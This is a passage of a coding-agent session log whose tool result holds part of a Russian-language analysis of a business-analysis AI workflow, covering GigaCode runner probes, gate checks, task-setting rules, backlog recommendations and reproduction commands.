[ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md), [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md) \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0440\u0435\u0434.\\n505\\t- [Issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615) \u2014 \u0441\u0440\u0435\u0434\u044b 1\u20134.\\n506\\t- [RFC \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md) \u2014 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C.\\n507\\t- [\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md) \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0430\u044f 2026 \u043f\u0440\u043e n8n: [\u0434\u043e\u0440\u043e\u0436\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 RAG](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md), [\u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md).\\n508\\t- [\u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py) \u0438 [\u0436\u0443\u0440\u043d\u0430\u043b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n509\\t\"\n[2026-09-29T07:44:41.345Z] [INFO]       }\n[2026-09-29T07:44:41.345Z] [INFO]     ]\n[2026-09-29T07:44:41.345Z] [INFO]   },\n[2026-09-29T07:44:41.345Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:41.345Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:41.345Z] [INFO]   \"uuid\": \"74a907b4-f7a7-41ee-a763-c651a829c607\",\n[2026-09-29T07:44:41.345Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:41.096Z\",\n[2026-09-29T07:44:41.345Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:41.345Z] [INFO]     \"type\": \"text\",\n[2026-09-29T07:44:41.345Z] [INFO]     \"file\": {\n[2026-09-29T07:44:41.345Z] [INFO]       \"filePath\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/b7ejdco20.txt\",\n[2026-09-29T07:44:41.345Z] [INFO]       \"content\": \"   \u043d\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u0440\u0435\u0448\u0438\u043b \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u043e\u043a\u0443\u043f\u043a\u0438\\n   \u0434\u0432\u0438\u0436\u043a\u0430, \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0440\u043e\u043b\u044c \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u043b \u0442\u043e\u0442, \u043a\u0442\u043e\\n   \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0440\u044f\u0434\u043e\u043c: \u0411\u0410 \u0438\u043b\u0438 \u043c\u043e\u0434\u0435\u043b\u044c. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b [\u0413-26](#\u0433-26), [\u0413-36](#\u0433-36),\\n   [\u0413-40](#\u0433-40).\\n8. **\u0413\u0435\u0439\u0442 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430.** \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n   \u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `script_invoked`, \u043d\u043e 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\u043e\u0442\u043b\u043e\u0436\u0435\u043d \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0430 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043b\u0438 n8n\u00bb \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n   [\u0413-50](#\u0433-50), [\u0413-54](#\u0433-54).\\n\\n## \u041a\u0430\u043a \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443: \u0432\u044b\u0431\u043e\u0440 \u0441\u0440\u0435\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\\n\\n\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 (\u043f\u0440\u0430\u0432\u0438\u043b\u0430 1\u20137).\\n\\n8. **\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0440\u043e\u043b\u0438 \u043d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u043e\u0434\u0435\u043b\u044c, \u0430\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430,\\n   \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0433\u0435\u0439\u0442\u043e\u0432, \u043a\u0430\u043d\u0430\u043b\\n   \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u043f\u0443\u0441\u0442\u043e \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u00bb \u2014\\n   \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 \u043d\u0435\u0442 ([\u0413-26](#\u0433-26)).\\n9. **\u0421\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0433\u0435\u0439\u0442.** \u00abG-mach \u043f\u0440\u043e\u0448\u0451\u043b\u00bb \u043c\u043e\u0436\u0435\u0442\\n   \u0437\u043d\u0430\u0447\u0438\u0442\u044c \u00ab\u043f\u0430\u043a\u0435\u0442 \u0446\u0435\u043b\u00bb, \u0430 \u043d\u0435 \u00ab\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 \u0432\u0435\u0440\u0435\u043d\u00bb. \u0422\u0440\u0435\u0431\u0443\u0439\u0442\u0435 \u0432 \u0437\u0430\u0434\u0430\u0447\u0435:\\n   \u00ab\u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 X \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 X \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 Y\u00bb ([\u0413-29](#\u0433-29)).\\n10. **\u041e\u0442\u0434\u0435\u043b\u044f\u0439\u0442\u0435 \u044f\u0434\u0440\u043e \u043e\u0442 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.** \u042f\u0434\u0440\u043e \u2014 \u0433\u0440\u0430\u0444, \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b,\\n    \u0436\u0443\u0440\u043d\u0430\u043b; \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 \u0447\u0430\u0442, \u0444\u043e\u0440\u043c\u044b, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n    \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c: \u00ab\u0433\u0434\u0435 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0433\u0440\u0430\u0444 \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443 \u043d\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442\\n    \u043a\u043e\u043f\u0438\u0439?\u00bb \u0415\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u2014 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u043a\u043e\u043f\u0438\u044f \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435\u00bb, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n    \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 ([\u0413-47](#\u0433-47)).\\n11. **\u041b\u044e\u0431\u043e\u0435 \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430.** \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u0434\u043e\\n    \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u00bb \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e; \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u043a\u0430\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0435\u00bb\\n    \u2014 \u043d\u0435\u0442 ([\u0413-54](#\u0433-54)).\\n12. **\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.**\\n    \u0415\u0441\u0442\u044c \u043b\u0438 \u0443 \u0441\u0440\u0435\u0434\u044b API \u043c\u043e\u0434\u0435\u043b\u0438, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u043a\u0438\u0435 \u043e\u0431\u0440\u0430\u0437\u044b\\n    \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0418\u043d\u0430\u0447\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014\\n    \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c ([\u0413-42](#\u0433-42), [\u0413-43](#\u0433-43)).\\n\\n## \u0412\u044b\u0432\u043e\u0434: \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435\\n\\n**\u0412\u0435\u043a\u0442\u043e\u0440 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430.** Source \u2192\\nDistribution \u2192 Runtime \u2192 Feedback \u043f\u043e\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0435\u043e\u0440\u0438\u044e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0435\u0435 \u0437\u0432\u0435\u043d\u043e \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0415\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n\u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c; \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0438\u0437 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runner GigaCode. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0434\u0432\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435, \u0437\u0430\u0442\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 runner \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435.** \u041f\u0430\u043a\u0435\u0442 Cline \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u043f\u0435\u0440\u0432\u043e\u0439\\n\u0447\u0430\u0441\u0442\u0438. Runner GigaCode \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432, \u043d\u043e \u043d\u0435 \u043a \u0437\u0430\u043c\u0435\u0440\u0430\u043c \u043f\u0438\u043b\u043e\u0442\u0430:\\n\u043f\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430, \u0437\u0430\u043c\u0435\u0440 `deterministic_share` \u043d\u0438\u0447\u0435\u0433\u043e\\n\u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0448\u0430\u0433\u043e\u0432 ([\u0413-30](#\u0433-30)). \u0414\u043e \u043f\u0435\u0440\u0432\u044b\u0445 10 \u0437\u0430\u0434\u0430\u0447 \u043f\u0438\u043b\u043e\u0442\u0430\\nADR-018 \u043d\u0443\u0436\u043d\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f 1.1\u20131.3 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\n\\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0432\u0445\u043e\u0434 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\\n\\n| \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 | \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c | \u0422\u0438\u043f | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b | \u0417\u0430\u0434\u0430\u0447\u0430 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 |\\n|-----------|-------------|-----|----------|----------------|\\n| 1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-28](#\u0433-28) | B-211 |\\n| 1 | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0445\u043e\u0434\u044b | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) | B-212 |\\n| 1 | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34) | B-213 |\\n| 1 | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | [\u0413-33](#\u0433-33) | B-214 |\\n| 2 | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c | [\u0413-26](#\u0433-26), [\u0413-27](#\u0433-27) | B-215 |\\n| 2 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-40](#\u0433-40) | B-216 |\\n| 2 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c | [\u0413-42](#\u0433-42) | B-217 |\\n| 3 | RFC \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, Postgres, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n; \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u0432\u0438\u0436\u043a\u0430 | \u0412\u044b\u0431\u043e\u0440 | [\u0413-43](#\u0433-43)\u2026[\u0413-54](#\u0433-54) | B-218 |\\n\\n\u0417\u0430\u0434\u0430\u0447\u0438 B-211\u2026B-218 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432\\n[\u0421\u043f\u0440\u0438\u043d\u0442 26 \u0431\u044d\u043a\u043b\u043e\u0433\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md)\\n\u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `TODO` \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043e\u043c `null`: \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a.\\n\\n## \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n\\n```bash\\npip install -r projects/ba-ai-process/dist/execution-package-gigacode-cli/requirements.txt\\npython3 projects/ba-ai-process/experiments/issue_639_runner_probes.py\\n```\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 GigaCode \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439. `P10` \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3 \u043f\u043e\u0441\u043b\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e n0; `P11` \u2014 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b YAML \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u0435\u0442\u043e\u043a \u0432 Python; `P12` \u2014\\n\u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b 2026-09-29; \u0432\u0435\u0440\u0441\u0438\u0438: n8n 2.40.7, Cline 4.1.21, Open WebUI 0.11.4.\\n\\n## Related Artifacts\\n\\n- [Issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639) \u0438 [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432 PR #643](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620) \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043e\u0445\u0432\u0430\u0442\u0430.\\n- [\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c: \u043f\u0430\u043a\u0435\u0442 Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25.\\n- [\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0440\u0430\u043c\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 `EP-R1`\u2026`EP-R9`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md).\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md), [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md), [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md) \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438 